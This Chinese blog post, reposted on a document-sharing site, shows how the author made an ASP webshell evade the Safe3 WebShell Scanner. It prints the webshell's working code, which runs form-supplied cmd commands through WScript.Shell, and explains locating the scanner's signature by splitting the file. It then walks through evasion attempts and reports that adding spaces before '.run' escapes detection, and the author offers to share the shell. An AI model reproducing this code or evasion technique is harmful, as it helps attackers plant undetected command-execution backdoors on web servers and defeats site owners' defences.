巧妙突破web杀毒 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

   

    今天无事在“鬼仔”的博客上瞎转悠,看到鬼仔介绍了一款工具,叫做“Web杀毒v1.1”,具体介绍为:Safe3 WebShell Scanner是国内率先推出的一款绿色完全免费的web代码查杀软件,独创的智能扫描技术能有效扫描asp、php、jsp、aspx等多种WebShell,弥补了通常杀毒软件不能完全查杀WebShell的不足,给广大站长带来了福音,

巧妙突破web杀毒

。打开工具界面如图1,个人感觉界面还是相当不错的,很清爽,使用方法也简单,就不介绍了。这让我想起了以前自己写的一个WEBSHELL,是ASP的,由于写的烂就自己凑合着用。所以这次没事就用这个工具检测了下自己的马马,结果如图2,果然是被查出来了。这下我就比较好奇了,到底这个工具是以什么为特征字符来查找的呢?接下来就开始进行测试。

    其实找文本文件特征码的方法和EXE文件时差不多的。对于文本文件都是先取部分文本内容放到一个新的文件中进行查杀,如果被杀就再减少范围,最后把范围确定在一个较小的范围内,就是特征码啦。这次我使用的方法也是如此,首先把我的马马分成两部分,将第一部分放入新文件中进行查杀,结果发现已经找不到木马了,那么特征码就在第二部分了。使用相同的方法,把第二部分内容放到新的文件中进行查杀,结果如图3。果然被杀了,接下来就是做相同的事情啦!把存在特征码的再切成两个部分,先把第一部分放到那个1.asp文件中,如果被杀说明特征码就在前半部分,否则就在后半部分,如此反复。我就不浪费大家时间了,最后我定位的结果是特征码大概为:

    if Request.Form("shellpath")<>"" then

    ShellPath=Request.Form("shellpath")

    If Request.Form("cmdec")<>"" Then

    defcmd=Request.Form("cmdec")

    On Error Resume Next

    Set ws=Server.CreateObject("WScript.Shell")

    Set fso=Server.CreateObject("Scripting.FileSystemObject")

    szTempFile = server.mappath("cmd.txt")

    Call ws.Run (ShellPath&" /c " & DefCmd & " > " & szTempFile, 0, True)

    Set fs = Server.CreateObject("Scripting.FileSystemObject")

    Set Filelcx = fs.OpenTextFile (szTempFile, 1, False, 0)

    aaa=Server.HTMLEncode(oFilelcx.ReadAll)

    oFilelcx.Close

    Call fs.DeleteFile(szTempFile, True)

    end if

    这段代码是用来执行CMD命令的,再结合检测程序所报告的木马类型为“ASP 执行命令木马”,所以基本不会错了,

电脑资料

巧妙突破web杀毒》(https://www.unjs.com)。最后经过反复测试,发现特征码就是为:

    Call ws.Run (ShellPath&" /c " & DefCmd & " > " & szTempFile, 0, True)

    我把其中的run改成RAN,再次查杀,发现已经不再被杀了,如图4。这下我们算是找到罪魁祸首了,接下来就是怎么才能免杀了。

    首先我想到的是把“RUN"作为字符来执行,这样就可以把run给拆开了,然后使用execute就可以执行了,具体的操作就是把代码改成:

    <%

    a="call ws.r" & "un(" &shellpath & "  /c" &defcmd & " > " & zTempFile & ", 0, True)"

    execute a

    %>

    原本以为这样就可以突破了,但结果是仍旧会被查杀,但报告的结果变了,如图5。这下是因为被当做是一句话木马,想想也是,因为用到了”execute“嘛。于是我又尝试了“eval”和“Server.Execute”,发现都会被查杀出来。接着我又想到了用classid的方法,因为通过这种方法也是可以使用Wscript的,具体代码为:

   

   

    ws.run ………………

    但还是会被查出来,这下就比较郁闷了,看来文件的特征码是集中在“*.run”上了。比较伤脑筋,当时我能想到的办法就是把这段代码去掉,可这样就失去意义了。

    通过一段时间的思考我认为,既然程序盯上了“*.run”,那么如果我改成“*  .run”的形式呢?注意这里多了几个空格哦。首先需要测试ASP程序是否还能够正常运行。经过测试发现程序还是可以运行的,修改过后仍旧可以执行CMD命令,如图6。而同样的使用“web杀毒”也已经查杀不到木马了。到此我们的免杀就已经成功了,相信一定还有别的好的方法,我会把ASPSHELL和程序都打包,有兴趣的同学一起研究啊!也欢迎大家到X档案论坛找我,我的ID是EchoEye。

最新文章